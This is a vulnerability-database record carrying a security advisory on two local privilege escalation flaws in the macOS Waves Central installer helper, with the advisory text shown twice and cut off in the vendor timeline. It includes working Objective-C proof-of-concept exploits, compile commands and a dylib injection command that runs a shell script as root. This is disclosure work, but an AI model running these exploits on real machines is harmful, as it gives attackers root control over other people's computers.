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1 vulnerability found for Audio - Waves Central by Waves
GCVE-1988-2026-0364
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:30
VLAI
EPSS
VEX
Title
SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260609-0 >
=======================================================================
title: Multiple Local Privilege Escalation Vulnerabilities
product: Waves Audio - Waves Central
vulnerable version: v13.0.8 - v16.6.0
fixed version: v16.6.2
CVE number: CVE-2026-24064, CVE-2026-24065
impact: high
homepage:https://www.waves.com
found: 2026-01-07
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Waves is the world’s leading developer of audio plugins and signal processors
for the professional and consumer electronics audio markets. Heard on hit
records, major motion pictures, and popular video games worldwide, Waves’
cutting-edge software and hardware processors are used in every aspect of
audio production, from tracking to mixing to mastering, broadcast, live sound,
and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,
and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts."
Source:https://www.waves.com/about-us
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
Waves Central provides a "PrivilegedHelperTool" during installation.
It uses the "InstlHelperApplication" located at the following path
to connect to the privileged helper tool via XPC:
/Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/
It was found that the "InstlHelperApplication" was signed with the
entitlements "com.apple.security.cs.allow-dyld-environment-variables" and
"com.apple.security.cs.disable-library-validation" which together allow to inject
unsigned libraries into the process and therefore inheriting the code signature.
----------------------------------------------------------------------
% codesign -dvv --entitlements - /Applications/Waves\
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Executable=/Applications/Waves
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Identifier=com.waves.central.InstlHelperApplication
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded
Signature size=8956
Authority=Developer ID Application: Waves Inc (GT6E3XD798)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=12.02.2023 at 19:37:53
Info.plist entries=32
TeamIdentifier=GT6E3XD798
Runtime Version=11.1.0
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=200
[Dict]
[Key] com.apple.security.inherit
[Value]
[Bool] true
[Key] com.apple.security.network.client
[Value]
[Bool] true
[Key] com.apple.security.network.server
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.app-scope
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-library-validation
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.document-scope
[Value]
[Bool] true
[Key] com.apple.security.files.user-selected.read-write
[Value]
[Bool] true
[Key] com.apple.security.personal-information.addressbook
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-dyld-environment-variables
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-unsigned-executable-memory
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-executable-page-protection
[Value]
[Bool] true
----------------------------------------------------------------------
By inheriting the code signature an attacker, who injects a malicious
library into the application, is able to abuse the signature of the
InstlHelperApplication to connect to the privileged helper tool via
its exposed mach service "com.waves.central.InstlHelper".
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
It was found that the XPC service "com.waves.central.InstlHelper", offered
by the privileged helper, uses the connecting client's PID to check its
code signature. This is insecure and can be attacked using a PID reuse
attack, which will trick the service into thinking the connecting client
has a valid code signature.
Proof of concept:
-----------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
The attacker can abuse the function "executeIrlFileWithPath" offered by
the privileged helper to get code execution as root.
To demonstrate this the following dynamic library has been developed.
After loading the library, "executeIrlFileWithPath" is triggered
to execute /tmp/lol which is basically a shell script:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
//gcc -dynamiclib name
#include <stdio.h>
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion:
(__C.NSNumber) -> ()) -> ()
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
[[NSRunLoop currentRunLoop] run];
----------------------------------------------------------------------
This code can be compiled using the following command:
clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm
After loading the library, /tmp/lol is created as described above:
cat /tmp/lol
/bin/bash -c "touch /etc/pwnedbytmp"
It can then be loaded into the injectable XPC client InstlHelperApplication:
DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
To exploit this issue an attacker can abuse the insecure client validation via
PID to gain access to the corresponding NSXPC functions via XPC.
The "executeIrlFileWithPath" function can be exploited to gain code execution
as root. The following Objective C PoC code was created:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define BINARY "/Applications/Waves
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
@end
void child() {
// send the XPC messages
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
----------------------------------------------------------------------
This can be compiled using gcc with the following command:
gcc -o exploit_waves_pid -framework Foundation exploit_pid.m
After creating the file /tmp/lol accordingly the binary can be run and the
helper will execute /tmp/lol as root.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 16.1.6.244088
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us
2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted
communication as well as dedicated security email address.
2026-01-27: Asking for the encryption details.
2026-01-28: Vendor provides PGP key.
2026-01-29: Submitting encrypted advisory to vendor.
2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted
upon request.
2026-02-18: Ven
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Waves | Audio - Waves Central |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0364 (this record)
- related CVE-2026-24064
- related CVE-2026-24065
{
"containers": {
"cna": {
"affected": [
{
"product": "Audio - Waves Central",
"vendor": "Waves",
"versions": [
{
"status": "affected",
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}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n title: Multiple Local Privilege Escalation Vulnerabilities\n product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements - /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n [Key] com.apple.security.inherit\n [Value]\n [Bool] true\n [Key] com.apple.security.network.client\n [Value]\n [Bool] true\n [Key] com.apple.security.network.server\n [Value]\n [Bool] true\n [Key] com.apple.security.files.bookmarks.app-scope\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.disable-library-validation\n [Value]\n [Bool] true\n [Key] com.apple.security.files.bookmarks.document-scope\n [Value]\n [Bool] true\n [Key] com.apple.security.files.user-selected.read-write\n [Value]\n [Bool] true\n [Key] com.apple.security.personal-information.addressbook\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.allow-dyld-environment-variables\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.allow-unsigned-executable-memory\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.disable-executable-page-protection\n [Value]\n [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting client\u0027s PID to check its\ncode signature. This is insecure and can be attacked using a PID reuse\nattack, which will trick the service into thinking the connecting client\nhas a valid code signature.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nThe attacker can abuse the function \"executeIrlFileWithPath\" offered by\nthe privileged helper to get code execution as root.\nTo demonstrate this the following dynamic library has been developed.\nAfter loading the library, \"executeIrlFileWithPath\" is triggered\nto execute /tmp/lol which is basically a shell script:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n//gcc -dynamiclib name\n#include \u003cstdio.h\u003e\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n homeDir:(NSString *)homeDir\n asUser:(id)asUser\n completion:(void (^)(id result))completion;\n\n//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: \n(__C.NSNumber) -\u003e ()) -\u003e ()\n\n@end\n\n__attribute__((constructor))\nstatic void myconstructor(int argc, const char **argv)\n{\n \n NSXPCConnection *conn =\n [[NSXPCConnection alloc]\n initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n options:NSXPCConnectionPrivileged];\n\n conn.remoteObjectInterface =\n [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n [conn resume];\n\n id\u003cHelperProtocol\u003e proxy =\n [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n NSLog(@\"XPC error: %@\", error);\n }];\n\n [proxy getVersionWithCompletion:^(id version) {\n NSLog(@\"Version: %@\", version);\n }];\n [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n homeDir:@\"/tmp\"\n asUser:@\"root\"\n completion:^(id result){\n NSLog(@\"Execution result: %@\", result);}];\n [[NSRunLoop currentRunLoop] run];\n\n----------------------------------------------------------------------\n\nThis code can be compiled using the following command:\nclang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm\n\nAfter loading the library, /tmp/lol is created as described above:\ncat /tmp/lol\n/bin/bash -c \"touch /etc/pwnedbytmp\"\n\nIt can then be loaded into the injectable XPC client InstlHelperApplication:\n\nDYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nTo exploit this issue an attacker can abuse the insecure client validation via\nPID to gain access to the corresponding NSXPC functions via XPC.\nThe \"executeIrlFileWithPath\" function can be exploited to gain code execution\nas root. The following Objective C PoC code was created:\n\n----------------------------------------------------------------------\n#import \u003cFoundation/Foundation.h\u003e\n#include \u003cspawn.h\u003e\n#include \u003csys/stat.h\u003e\n\n#define RACE_COUNT 32\n#define BINARY \"/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\"\n\n// allow fork() between exec()\nasm(\".section __DATA,__objc_fork_ok\\n\"\n\"empty:\\n\"\n\".no_dead_strip empty\\n\");\n\nextern char **environ;\n\n@protocol HelperProtocol\n\n- (void)getVersionWithCompletion:(void (^)(id version))completion;\n- (void)executeIrlFileWithPath:(NSString *)filePath\n homeDir:(NSString *)homeDir\n asUser:(id)asUser\n completion:(void (^)(id result))completion;\n@end\n\nvoid child() {\n\n // send the XPC messages\n NSXPCConnection *conn =\n [[NSXPCConnection alloc]\n initWithMachServiceName:@\"com.waves.central.InstlHelper\"\n options:NSXPCConnectionPrivileged];\n\n conn.remoteObjectInterface =\n [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\n\n [conn resume];\n\n id\u003cHelperProtocol\u003e proxy =\n [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {\n NSLog(@\"XPC error: %@\", error);\n }];\n\n [proxy getVersionWithCompletion:^(id version) {\n NSLog(@\"Version: %@\", version);\n }];\n [proxy executeIrlFileWithPath:@\"/tmp/lol\"\n homeDir:@\"/tmp\"\n asUser:@\"root\"\n completion:^(id result){\n NSLog(@\"Execution result: %@\", result);}];\n\n char target_binary[] = BINARY;\n char *target_argv[] = {target_binary, NULL};\n posix_spawnattr_t attr;\n posix_spawnattr_init(\u0026attr);\n short flags;\n posix_spawnattr_getflags(\u0026attr, \u0026flags);\n flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\n posix_spawnattr_setflags(\u0026attr, flags);\n posix_spawn(NULL, target_binary, NULL, \u0026attr, target_argv, environ);\n}\n\nbool create_nstasks() {\n\n NSString *exec = [[NSBundle mainBundle] executablePath];\n NSTask *processes[RACE_COUNT];\n\n for (int i = 0; i \u003c RACE_COUNT; i++) {\n processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\"imanstask\" ]];\n }\n\n int i = 0;\n struct timespec ts = {\n .tv_sec = 0,\n .tv_nsec = 500 * 1000000,\n };\n\n nanosleep(\u0026ts, NULL);\n if (++i \u003e 4) {\n for (int i = 0; i \u003c RACE_COUNT; i++) {\n [processes[i] terminate];\n }\n return false;\n }\n\n return true;\n}\n\nint main(int argc, const char * argv[]) {\n\n if(argc \u003e 1) {\n // called from the NSTasks\n child();\n\n } else {\n NSLog(@\"Starting the race\");\n create_nstasks();\n }\n\n return 0;\n}\n----------------------------------------------------------------------\n\nThis can be compiled using gcc with the following command:\ngcc -o exploit_waves_pid -framework Foundation exploit_pid.m\n\nAfter creating the file /tmp/lol accordingly the binary can be run and the\nhelper will execute /tmp/lol as root.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 16.1.6.244088\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us\n2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted\n communication as well as dedicated security email address.\n2026-01-27: Asking for the encryption details.\n2026-01-28: Vendor provides PGP key.\n2026-01-29: Submitting encrypted advisory to vendor.\n2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted\n upon request.\n2026-02-18: Ven"
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"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:58Z",
"dateUpdated": "2026-09-11T11:30:12Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0364"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}